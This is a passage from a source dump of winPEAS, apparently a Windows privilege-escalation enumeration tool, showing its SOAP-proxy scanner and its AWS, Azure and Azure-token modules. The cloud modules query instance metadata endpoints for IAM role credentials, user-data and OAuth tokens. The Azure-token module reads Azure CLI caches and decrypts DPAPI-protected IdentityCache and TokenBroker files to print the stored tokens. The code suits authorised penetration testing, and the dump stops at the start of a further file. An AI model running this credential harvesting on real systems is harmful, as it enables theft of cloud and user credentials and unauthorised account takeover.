}\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while enumerating services for SOAP client analysis: \" + ex.Message);\n            }\n\n            return results;\n        }\n\n        private static IEnumerable<SoapClientProxyCandidate> EnumerateProcessCandidates()\n        {\n            var results = new List<SoapClientProxyCandidate>();\n            try\n            {\n                List<Dictionary<string, string>> processes = ProcessesInfo.GetProcInfo();\n                foreach (var proc in processes)\n                {\n                    string path = proc.ContainsKey(\"ExecutablePath\") ? proc[\"ExecutablePath\"] : string.Empty;\n                    if (string.IsNullOrEmpty(path) || !File.Exists(path))\n                        continue;\n\n                    if (!IsDotNetBinary(path))\n                        continue;\n\n                    string owner = proc.ContainsKey(\"Owner\") ? proc[\"Owner\"] : string.Empty;\n                    if (!IsInterestingProcessOwner(owner))\n                        continue;\n\n                    results.Add(new SoapClientProxyCandidate\n                    {\n                        BinaryPath = path,\n                        SourceType = \"Process\",\n                        Name = proc.ContainsKey(\"Name\") ? proc[\"Name\"] : string.Empty,\n                        Account = owner,\n                        Extra = proc.ContainsKey(\"ProcessID\") ? $\"PID {proc[\"ProcessID\"]}\" : string.Empty,\n                    });\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while enumerating processes for SOAP client analysis: \" + ex.Message);\n            }\n\n            return results;\n        }\n\n        private static bool IsInterestingProcessOwner(string owner)\n        {\n            if (string.IsNullOrEmpty(owner))\n                return true;\n\n            string normalizedOwner = owner;\n            if (owner.Contains(\"\\\\\"))\n            {\n                normalizedOwner = owner.Split('\\\\').Last();\n            }\n\n            return !normalizedOwner.Equals(Environment.UserName, StringComparison.OrdinalIgnoreCase);\n        }\n\n        private static bool IsDotNetBinary(string path)\n        {\n            lock (DotNetCacheLock)\n            {\n                if (DotNetCache.TryGetValue(path, out bool cached))\n                {\n                    return cached;\n                }\n\n                bool result = false;\n                try\n                {\n                    result = MyUtils.CheckIfDotNet(path, true);\n                }\n                catch\n                {\n                }\n\n                DotNetCache[path] = result;\n                return result;\n            }\n        }\n\n        private static void ScanBinaryIndicators(SoapClientProxyFinding finding)\n        {\n            try\n            {\n                FileInfo fi = new FileInfo(finding.BinaryPath);\n                if (!fi.Exists || fi.Length == 0)\n                    return;\n\n                if (fi.Length > MaxBinaryScanSize)\n                {\n                    finding.BinaryScanFailed = true;\n                    return;\n                }\n\n                foreach (var indicator in BinaryIndicatorStrings)\n                {\n                    if (FileContainsString(finding.BinaryPath, indicator))\n                    {\n                        finding.BinaryIndicators.Add(indicator);\n                    }\n                }\n            }\n            catch\n            {\n                finding.BinaryScanFailed = true;\n            }\n        }\n\n        private static void ScanConfigIndicators(SoapClientProxyFinding finding)\n        {\n            string configPath = GetConfigPath(finding.BinaryPath);\n            if (!string.IsNullOrEmpty(configPath) && File.Exists(configPath))\n            {\n                finding.ConfigPath = configPath;\n                try\n                {\n                    string content = File.ReadAllText(configPath);\n                    foreach (var kvp in ConfigIndicatorMap)\n                    {\n                        if (content.IndexOf(kvp.Key, StringComparison.OrdinalIgnoreCase) >= 0)\n                        {\n                            finding.ConfigIndicators.Add(kvp.Value);\n                        }\n                    }\n                }\n                catch\n                {\n                    finding.ConfigScanFailed = true;\n                }\n            }\n\n            string directory = Path.GetDirectoryName(finding.BinaryPath);\n            if (!string.IsNullOrEmpty(directory))\n            {\n                try\n                {\n                    var wsdlFiles = Directory.GetFiles(directory, \"*.wsdl\", SearchOption.TopDirectoryOnly);\n                    if (wsdlFiles.Length > 0)\n                    {\n                        finding.ConfigIndicators.Add($\"Found {wsdlFiles.Length} WSDL file(s) next to binary\");\n                    }\n                }\n                catch\n                {\n                    // ignore\n                }\n            }\n        }\n\n        private static string GetConfigPath(string binaryPath)\n        {\n            if (string.IsNullOrEmpty(binaryPath))\n                return string.Empty;\n\n            string candidate = binaryPath + \".config\";\n            return File.Exists(candidate) ? candidate : string.Empty;\n        }\n\n        private static bool FileContainsString(string path, string value)\n        {\n            const int bufferSize = 64 * 1024;\n            byte[] pattern = Encoding.UTF8.GetBytes(value);\n            if (pattern.Length == 0)\n                return false;\n\n            try\n            {\n                using (var fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete))\n                {\n                    byte[] buffer = new byte[bufferSize + pattern.Length];\n                    int bufferLen = 0;\n                    int bytesRead;\n                    while ((bytesRead = fs.Read(buffer, bufferLen, bufferSize)) > 0)\n                    {\n                        int total = bufferLen + bytesRead;\n                        if (IndexOf(buffer, total, pattern) >= 0)\n                        {\n                            return true;\n                        }\n\n                        if (pattern.Length > 1)\n                        {\n                            bufferLen = Math.Min(pattern.Length - 1, total);\n                            Buffer.BlockCopy(buffer, total - bufferLen, buffer, 0, bufferLen);\n                        }\n                        else\n                        {\n                            bufferLen = 0;\n                        }\n                    }\n                }\n            }\n            catch\n            {\n                return false;\n            }\n\n            return false;\n        }\n\n        private static int IndexOf(byte[] buffer, int bufferLength, byte[] pattern)\n        {\n            int limit = bufferLength - pattern.Length;\n            if (limit < 0)\n                return -1;\n\n            for (int i = 0; i <= limit; i++)\n            {\n                bool match = true;\n                for (int j = 0; j < pattern.Length; j++)\n                {\n                    if (buffer[i + j] != pattern[j])\n                    {\n                        match = false;\n                        break;\n                    }\n                }\n\n                if (match)\n                    return i;\n            }\n\n            return -1;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AWSInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Net;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class AWSInfo : CloudInfoBase\n    {\n        /*\n         * notes - possible identification:\n         * \n         - \"c:\\Program Files\\Amazon\\EC2Launch\" \n\t\t - \"C:\\Program Files\\Amazon\\EC2Launch\\service\\EC2LaunchService.exe\"\n\t\t - \"c:\\Program Files (x86)\\AWS SDK for .NET\" \n         - get EC2_TOKEN: PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\", it should start with \"AQ\"\n         */\n\n        const string AWS_FOLDER = \"c:\\\\Program Files\\\\Amazon\\\\\";\n        const string AWS_BASE_URL = \"http://169.254.169.254/latest/api/token\";\n        const string METADATA_URL_BASE = \"http://169.254.169.254/latest/meta-data\";\n\n\n        public override string Name => \"AWS EC2\";\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        public override bool IsCloud => Directory.Exists(AWS_FOLDER);\n\n        public override Dictionary<string, List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n\n                try\n                {\n                    if (IsAvailable)\n                    {\n                        string API_TOKEN = CreateMetadataAPIRequest(AWS_BASE_URL, \"PUT\", new WebHeaderCollection { { \"X-aws-ec2-metadata-token-ttl-seconds\", \"21600\" } });\n\n                        _endpointData.Add(\"General Info\", GetGeneralMetadataInfo(API_TOKEN));\n                        _endpointData.Add(\"Account Info\", GetAccountMetadataInfo(API_TOKEN));\n                        _endpointData.Add(\"Network Info\", GetNetworkMetadataInfo(API_TOKEN));\n                        _endpointData.Add(\"IAM Role\", GetIAMRoleMetadataInfo(API_TOKEN));\n                        _endpointData.Add(\"User Data\", GetUserDataMetadataInfo(API_TOKEN));\n                        _endpointData.Add(\"EC2 Security Credentials\", GetSecurityCredentialsMetadataInfo(API_TOKEN));\n\n                        /*\n                         * print_3title \"SSM Runnig\"\n                           ps aux 2>/dev/null | grep \"ssm-agent\" | grep -v \"grep\" | sed \"s,ssm-agent,${SED_RED},\"\n                         * \n                         */\n                    }\n                    else\n                    {\n                        _endpointData.Add(\"General Info\", new List<EndpointData>()\n                        {\n                            new EndpointData()\n                            {\n                                EndpointName = \"\",\n                                Data = null,\n                                IsAttackVector = false\n                            }\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            return _endpointData;\n        }\n\n        private List<EndpointData> GetSecurityCredentialsMetadataInfo(string apiToken)\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"ec2-instance\", \"identity-credentials/ec2/security-credentials/ec2-instance\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints, apiToken);\n\n            return result;\n        }\n\n        private List<EndpointData> GetUserDataMetadataInfo(string apiToken)\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"user-data\", \"latest/user-data\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints, apiToken);\n\n            return result;\n        }\n\n        private List<EndpointData> GetIAMRoleMetadataInfo(string apiToken)\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>\n            {\n                new Tuple<string, string, bool>(\"iam/info\", \"iam/info\", false)\n            };\n\n            var url = $\"{METADATA_URL_BASE}/iam/security-credentials/\";\n            var roles = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection() { { \"X-aws-ec2-metadata-token\", apiToken } });\n\n            foreach (var role in roles.Split('\\n'))\n            {\n                metadataEndpoints.Add(new Tuple<string, string, bool>(role, $\"iam/security-credentials/{role}\", false));\n            }           \n            \n            var result = GetMetadataInfo(metadataEndpoints, apiToken);\n\n            return result;\n        }\n\n        private List<EndpointData> GetNetworkMetadataInfo(string apiToken)\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>();           \n         \n            var url = $\"{METADATA_URL_BASE}/network/interfaces/macs/\";\n            var macs = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection() { { \"X-aws-ec2-metadata-token\", apiToken } });\n            var urlBase = \"network/interfaces/macs\";\n\n            foreach (var mac in macs.Split('\\n'))\n            {\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Owner ID\", $\"{urlBase}/{mac}/owner-id\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Public Hostname\", $\"{urlBase}/{mac}/public-hostname\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Security Groups\", $\"{urlBase}/{mac}/security-groups\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Private IPv4s\", $\"{urlBase}/{mac}/ipv4-associations/\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Subnet IPv4\", $\"{urlBase}/{mac}/subnet-ipv4-cidr-block\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Private IPv6s\", $\"{urlBase}/{mac}/ipv6s\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Subnet IPv6\", $\"{urlBase}/{mac}/subnet-ipv6-cidr-blocks\", false));\n                metadataEndpoints.Add(new Tuple<string, string, bool>(\"Public IPv4s\", $\"{urlBase}/{mac}/public-ipv4s\", false));\n            }\n            var result = GetMetadataInfo(metadataEndpoints, apiToken);\n\n            return result;\n        }\n\n        private List<EndpointData> GetAccountMetadataInfo(string apiToken)\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                 new Tuple<string, string, bool>(\"account info\", \"identity-credentials/ec2/info\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints, apiToken);\n\n            return result;\n        }\n\n        private List<EndpointData> GetGeneralMetadataInfo(string apiToken)\n        {\n            var metadataEndpoints = new List<Tuple<string, string, bool>>()\n            {\n                new Tuple<string, string, bool>(\"ami id\", \"ami-id\", false),\n                new Tuple<string, string, bool>(\"instance action\",\"instance-action\", false),\n                new Tuple<string, string, bool>(\"instance id\",\"instance-id\", false),\n                new Tuple<string, string, bool>(\"instance life-cycle\",\"instance-life-cycle\", false),\n                new Tuple<string, string, bool>(\"instance type\",\"instance-type\", false),\n                new Tuple<string, string, bool>(\"placement/region\",\"placement/region\", false),\n            };\n\n            var result = GetMetadataInfo(metadataEndpoints, apiToken);\n\n            return result;\n        }\n\n        private List<EndpointData> GetMetadataInfo(List<Tuple<string, string, bool>> endpointData, string apiToken)\n        {\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            foreach (var tuple in endpointData)\n            {\n                string url = $\"{METADATA_URL_BASE}/{tuple.Item2}\";\n\n                var result = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection() { { \"X-aws-ec2-metadata-token\", apiToken } });\n\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = tuple.Item1,\n                    Data = result,\n                    IsAttackVector = tuple.Item3\n                });\n            }\n\n            return _endpointDataList;\n        }\n\n        public override bool TestConnection()\n        {\n            return CreateMetadataAPIRequest(AWS_BASE_URL, \"GET\") != null;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Net;\nusing System.Diagnostics;\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class AzureInfo : CloudInfoBase\n    {\n        // The Name property now differentiates between an Azure VM and an Azure Container.\n        public override string Name\n        {\n            get\n            {\n                if (IsContainer())\n                    return \"Azure Container\"; // **Container environment detected**\n                return \"Azure VM\"; // **VM environment detected**\n            }\n        }\n\n        // IsCloud now returns true if either the Azure VM folder exists or container env vars are set.\n        public override bool IsCloud => Directory.Exists(WINDOWS_AZURE_FOLDER) || IsContainer();\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        const string WINDOWS_AZURE_FOLDER = \"c:\\\\windowsazure\";\n        const string AZURE_BASE_URL = \"http://169.254.169.254/metadata/\";\n        const string API_VERSION = \"2021-12-13\";\n        const string CONTAINER_API_VERSION = \"2019-08-01\";\n\n        public static bool DoesProcessExist(string processName)\n        {\n            // Return false if the process name is null or empty\n            if (string.IsNullOrEmpty(processName))\n            {\n                return false;\n            }\n\n            // Retrieve all processes matching the specified name\n            Process[] processes = Process.GetProcessesByName(processName);\n            return processes.Length > 0;\n        }\n\n        // New helper method to detect if running inside an Azure container\n        private bool IsContainer()\n        {\n            return !string.IsNullOrEmpty(Environment.GetEnvironmentVariable(\"IDENTITY_ENDPOINT\")) ||\n                   !string.IsNullOrEmpty(Environment.GetEnvironmentVariable(\"MSI_ENDPOINT\"));\n        }\n\n        public override Dictionary<string, List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n                List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n                try\n                {\n                    string result;\n                    List<Tuple<string, string, bool>> endpoints;\n\n                    if (IsContainer())\n                    {\n                        // **Running in Azure Container: use the container endpoint and add the \"Secret\" header if available**\n                        string containerBaseUrl = Environment.GetEnvironmentVariable(\"MSI_ENDPOINT\") ??\n                                                  Environment.GetEnvironmentVariable(\"IDENTITY_ENDPOINT\");\n                        endpoints = new List<Tuple<string, string, bool>>()\n                        {\n                            new Tuple<string, string, bool>(\"Management token\", $\"?api-version={CONTAINER_API_VERSION}&resource=https://management.azure.com/\", true),\n                            new Tuple<string, string, bool>(\"Graph token\", $\"?api-version={CONTAINER_API_VERSION}&resource=https://graph.microsoft.com/\", true),\n                            new Tuple<string, string, bool>(\"Vault token\", $\"?api-version={CONTAINER_API_VERSION}&resource=https://vault.azure.net/\", true),\n                            new Tuple<string, string, bool>(\"Storage token\", $\"?api-version={CONTAINER_API_VERSION}&resource=https://storage.azure.com/\", true)\n                        };\n\n                        foreach (var tuple in endpoints)\n                        {\n                            // Ensure proper URL formatting.\n                            string url = $\"{containerBaseUrl}{(containerBaseUrl.EndsWith(\"/\") ? \"\" : \"/\")}{tuple.Item2}\";\n                            var headers = new WebHeaderCollection();\n                            string msiSecret = Environment.GetEnvironmentVariable(\"MSI_SECRET\");\n                            if (!string.IsNullOrEmpty(msiSecret))\n                            {\n                                headers.Add(\"Secret\", msiSecret);\n                            }\n                            string identitySecret = Environment.GetEnvironmentVariable(\"IDENTITY_HEADER\");\n                            if (!string.IsNullOrEmpty(identitySecret))\n                            {\n                                headers.Add(\"X-IDENTITY-HEADER\", identitySecret);\n                            }\n                            result = CreateMetadataAPIRequest(url, \"GET\", headers);\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = tuple.Item1,\n                                Data = result,\n                                IsAttackVector = tuple.Item3\n                            });\n                        }\n                    }\n                    else if (Directory.Exists(WINDOWS_AZURE_FOLDER))\n                    {\n                        // **Running in Azure VM: use the standard metadata endpoint with \"Metadata: true\" header**\n                        endpoints = new List<Tuple<string, string, bool>>()\n                        {\n                            new Tuple<string, string, bool>(\"Instance Details\", $\"instance?api-version={API_VERSION}\", false),\n                            new Tuple<string, string, bool>(\"Load Balancer details\",  $\"loadbalancer?api-version={API_VERSION}\", false),\n                            new Tuple<string, string, bool>(\"Management token\", $\"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/\", true),\n                            new Tuple<string, string, bool>(\"Graph token\", $\"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/\", true),\n                            new Tuple<string, string, bool>(\"Vault token\", $\"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/\", true),\n                            new Tuple<string, string, bool>(\"Storage token\", $\"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/\", true)\n                        };\n\n                        foreach (var tuple in endpoints)\n                        {\n                            string url = $\"{AZURE_BASE_URL}{tuple.Item2}\";\n                            result = CreateMetadataAPIRequest(url, \"GET\", new WebHeaderCollection() { { \"Metadata\", \"true\" } });\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = tuple.Item1,\n                                Data = result,\n                                IsAttackVector = tuple.Item3\n                            });\n                        }\n                    }\n                    else\n                    {\n                        // If neither container nor VM, endpoints remain unset.\n                        foreach (var endpoint in new List<Tuple<string, string, bool>>())\n                        {\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = endpoint.Item1,\n                                Data = null,\n                                IsAttackVector = false\n                            });\n                        }\n                    }\n\n                    string hwsRun = DoesProcessExist(\"HybridWorkerService\") ? \"Yes\" : \"No\";\n                    _endpointDataList.Add(new EndpointData()\n                    {\n                        EndpointName = \"HybridWorkerService.exe Running\",\n                        Data = hwsRun,\n                        IsAttackVector = true\n                    });\n\n                    string OSRun = DoesProcessExist(\"Orchestrator.Sandbox\") ? \"Yes\" : \"No\";\n                    _endpointDataList.Add(new EndpointData()\n                    {\n                        EndpointName = \"Orchestrator.Sandbox.exe Running\",\n                        Data = OSRun,\n                        IsAttackVector = true\n                    });\n\n                    _endpointData.Add(\"General\", _endpointDataList);\n                }\n                catch (Exception ex)\n                {\n                    // **Exception handling (e.g., logging) can be added here**\n                }\n            }\n\n            return _endpointData;\n        }\n\n        public override bool TestConnection()\n        {\n            if (IsContainer())\n            {\n                // **Test connection for Azure Container**\n                string containerBaseUrl = Environment.GetEnvironmentVariable(\"MSI_ENDPOINT\") ??\n                                          Environment.GetEnvironmentVariable(\"IDENTITY_ENDPOINT\");\n                if (string.IsNullOrEmpty(containerBaseUrl))\n                    return false;\n                var headers = new WebHeaderCollection();\n                string msiSecret = Environment.GetEnvironmentVariable(\"MSI_SECRET\");\n                if (!string.IsNullOrEmpty(msiSecret))\n                {\n                    headers.Add(\"Secret\", msiSecret);\n                }\n                string identitySecret = Environment.GetEnvironmentVariable(\"IDENTITY_HEADER\");\n                if (!string.IsNullOrEmpty(identitySecret))\n                {\n                    headers.Add(\"X-IDENTITY-HEADER\", identitySecret);\n                }\n                return CreateMetadataAPIRequest(containerBaseUrl, \"GET\", headers) != null;\n            }\n            else\n            {\n                // **Test connection for Azure VM**\n                return CreateMetadataAPIRequest(AZURE_BASE_URL, \"GET\", new WebHeaderCollection() { { \"Metadata\", \"true\" } }) != null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/AzureTokensInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security.Cryptography;\nusing System.Text;\nusing winPEAS.Helpers;\nusing System.Data.SQLite;\nusing Org.BouncyCastle.Crypto;\nusing Org.BouncyCastle.Crypto.Parameters;\nusing Org.BouncyCastle.Crypto.Modes;\nusing System.Linq;\nusing Microsoft.Win32;\nusing System.Web.Script.Serialization;\nusing System;\nusing System.IO;\nusing System.Text.Json;\nusing System.Text.Json.Nodes;\n\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal class AzureTokensInfo : CloudInfoBase\n    {\n        public override string Name => \"Azure Tokens\";\n\n        public override bool IsCloud => CheckIfAzureTokensInstalled();\n\n        private Dictionary<string, List<EndpointData>> _endpointData = null;\n\n        public static bool CheckIfAzureTokensInstalled()\n        {\n            string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);\n            string AzureFolderPath = Path.Combine(homeDirectory, \".Azure\");\n            string azureFolderPath = Path.Combine(homeDirectory, \".azure\");\n\n            string identityCachePath = Path.Combine(\n                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),\n                \"Microsoft\",\n                \"IdentityCache\"\n            );\n\n            string tokenBrokerPath = Path.Combine(\n                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),\n                \"Microsoft\",\n                \"TokenBroker\"\n            );\n\n            return Directory.Exists(AzureFolderPath) || Directory.Exists(azureFolderPath) || Directory.Exists(identityCachePath) || Directory.Exists(tokenBrokerPath);\n        }\n\n        public static string TBRESDecryptedData(string filePath)\n        {\n            var fileJSON = File.ReadAllText(filePath, Encoding.Unicode);\n            fileJSON = fileJSON.Substring(0, fileJSON.Length - 1);\n\n            try\n            {\n                var jsonObject = JsonNode.Parse(fileJSON).AsObject();\n                var encodedData = jsonObject[\"TBDataStoreObject\"][\"ObjectData\"][\"SystemDefinedProperties\"][\"ResponseBytes\"][\"Value\"].ToString();\n                var encryptedData = Convert.FromBase64String(encodedData);\n                var decryptedData = ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);\n                string decodedData = Encoding.UTF8.GetString(decryptedData);\n\n                if (decodedData.Contains(\"No Token\"))\n                {\n                    return \"\";\n                }\n\n                return decodedData;\n\n            }\n            catch (System.Exception)\n            {\n                Beaprint.PrintException($\"[!] Error Decrypting File: {filePath}\");\n                return \"\";\n            }\n        }\n\n\n        private List<EndpointData> GetAzureCliValues()\n        {\n            Dictionary<string, string> AzureCliValues = new Dictionary<string, string>();\n            string homeDirectory = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);\n            string AzureFolderPath = Path.Combine(homeDirectory, \".Azure\");\n            string azureFolderPath = Path.Combine(homeDirectory, \".azure\");\n\n            string azureHomePath = azureFolderPath;\n\n            if (Directory.Exists(AzureFolderPath))\n            {\n                azureHomePath = AzureFolderPath;\n            };\n\n            if (Directory.Exists(azureHomePath))\n            {\n\n                // Files that doesn't need decryption\n                string[] fileNames = {\n                @\"azureProfile.json\",\n                @\"clouds.config\",\n                @\"service_principal_entries.json\",\n                @\"msal_token_cache.json\"\n            };\n\n                foreach (string fileName in fileNames)\n                {\n                    string filePath = Path.Combine(azureHomePath, fileName);\n                    // Check if the file exists\n                    if (File.Exists(filePath))\n                    {\n                        try\n                        {\n                            // Read the file content\n                            string fileContent = File.ReadAllText(filePath);\n\n                            // Add the file path and content to the dictionary\n                            AzureCliValues[filePath] = fileContent;\n                        }\n                        catch (Exception ex)\n                        {\n                            Beaprint.PrintException($\"Error reading file '{filePath}': {ex.Message}\");\n                        }\n                    }\n                }\n            }\n\n\n\n            // Get the IdentityCache directory path and encrypted files with tokens\n            string identityCachePath = Path.Combine(\n                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),\n                \"Microsoft\",\n                \"IdentityCache\"\n            );\n\n            string[] binFiles = { };\n\n            // Check if the directory exists\n            if (!Directory.Exists(identityCachePath))\n            {\n                Beaprint.PrintException($\"The directory '{identityCachePath}' does not exist.\");\n            }\n\n            try\n            {\n                // Recursively find all *.bin files\n                binFiles = Directory.GetFiles(identityCachePath, \"*.bin\", SearchOption.AllDirectories);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException($\"An error occurred while scanning the identityCache directory: {ex.Message}\");\n            }\n            \n\n            // Files that need decryption\n            string[] fileNamesEncrp = {\n                @\"service_principal_entries.bin\",\n                @\"msal_token_cache.bin\"\n            };\n\n            foreach (string fileName in fileNamesEncrp.Concat(binFiles).ToArray())//.Concat(tbFiles).ToArray())\n            {\n                string filePath = fileName;\n\n                if (!fileName.Contains(\"\\\\\"))\n                {\n                    filePath = Path.Combine(azureHomePath, fileName);\n                }\n\n                try\n                {\n                    if (File.Exists(filePath))\n                    {\n                        // Read encrypted file\n                        byte[] encryptedData = File.ReadAllBytes(filePath);\n\n                        // Decrypt using DPAPI for the current user\n                        byte[] decryptedData = ProtectedData.Unprotect(\n                            encryptedData,\n                            null,\n                            DataProtectionScope.CurrentUser\n                        );\n\n                        // Write decrypted data to output file\n                        AzureCliValues[filePath] = Encoding.UTF8.GetString(decryptedData);\n                    }\n\n                }\n                catch (CryptographicException ex)\n                {\n                    Beaprint.PrintException($\"Decrypting {filePath} failed: {ex.Message}\");\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException($\"An error occurred: {ex.Message}\");\n                }\n            }\n\n\n            //TBRES files\n            string tokenBrokerPath = Path.Combine(\n                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),\n                \"Microsoft\",\n                \"TokenBroker\"\n            );\n\n            string[] tbFiles = { };\n\n            // Check if the directory exists\n            if (!Directory.Exists(tokenBrokerPath))\n            {\n                Beaprint.PrintException($\"The directory '{tokenBrokerPath}' does not exist.\");\n            }\n\n            try\n            {\n                // Recursively find all *.bin files\n                tbFiles = Directory.GetFiles(tokenBrokerPath, \"*.tbres\", SearchOption.AllDirectories);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException($\"An error occurred while scanning the Token Broker directory: {ex.Message}\");\n            }\n\n            foreach (string filePath in tbFiles)\n            {\n                string TBRESContent = TBRESDecryptedData(filePath);\n                if (TBRESContent.Length > 0)\n                    AzureCliValues[filePath] = TBRESContent;\n            }\n\n            // Format the info in expected CloudInfo format\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            foreach (var kvp in AzureCliValues)\n            {\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = kvp.Key,\n                    Data = kvp.Value?.Trim(),\n                    IsAttackVector = false\n                });\n            }\n\n            return _endpointDataList;\n        }\n        \n\n        public override Dictionary<string, List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n\n                try\n                {\n                    if (IsAvailable)\n                    {\n                        _endpointData.Add(\"Local Info\", GetAzureCliValues());\n                    }\n                    else\n                    {\n                        _endpointData.Add(\"General Info\", new List<EndpointData>()\n                        {\n                            new EndpointData()\n                            {\n                                EndpointName = \"\",\n                                Data = null,\n                                IsAttackVector = false\n                            }\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            return _endpointData;\n        }\n\n        public override bool TestConnection()\n        {\n            return true;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/CloudInfoBase.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Text;\n\nnamespace winPEAS.Info.CloudInfo\n{\n    internal abstract class CloudInfoBase\n    {\n        public abstract string Name { get; }\n        \n        public abstract bool IsCloud { get; }\n\n        public abstract Dictionary<string, List<EndpointData>> EndpointDataList();\n\n        public abstract bool TestConnection();\n\n        private bool? _isAvailable;\n        public bool IsAvailable\n        {\n            get\n            {\n                if (_isAvailable == null)\n                {\n                    _isAvailable = TestConnection();\n                }\n\n                return _isAvailable.Value;\n            }\n        }\n\n        protected string CreateMetadataAPIRequest(string url, string method, WebHeaderCollection headers = null)\n        {\n            try\n            {\n                var request = WebRequest.CreateHttp(url);\n\n                if (headers != null)\n                {\n                    request.Headers = headers;\n                }\n                \n                request.Method = method;\n\n                using (var response = (HttpWebResponse)request.GetResponse())\n                {\n                    using (var responseStream = response.GetResponseStream())\n                    {\n                        // Get a reader capable of reading the response stream\n                        using (var myStreamReader = new StreamReader(responseStream, Encoding.UTF8))\n                        {\n                            // Read stream content as string\n                            var content = myStreamReader.ReadToEnd();\n\n                            return content;\n                        }\n                    }\n                }\n            }\n            catch (WebException exception)\n            {\n                if (exception.InnerException != null)\n                {\n                    return typeof(SocketException) == exception.InnerException.GetType() ? null : string.Empty; \n                }\n            }\n            catch (Exception ex)\n            {\n                return string.Empty;\n            }\n\n            return string.Empty;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/EndpointData.cs",
    "content": "﻿namespace winPEAS.Info.CloudInfo\n{\n    internal class EndpointData\n    {\n        public string EndpointName { get; set; }\n        public string Data { get; set; }\n\n        public bool IsAttackVector { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GCDSInfo.cs",
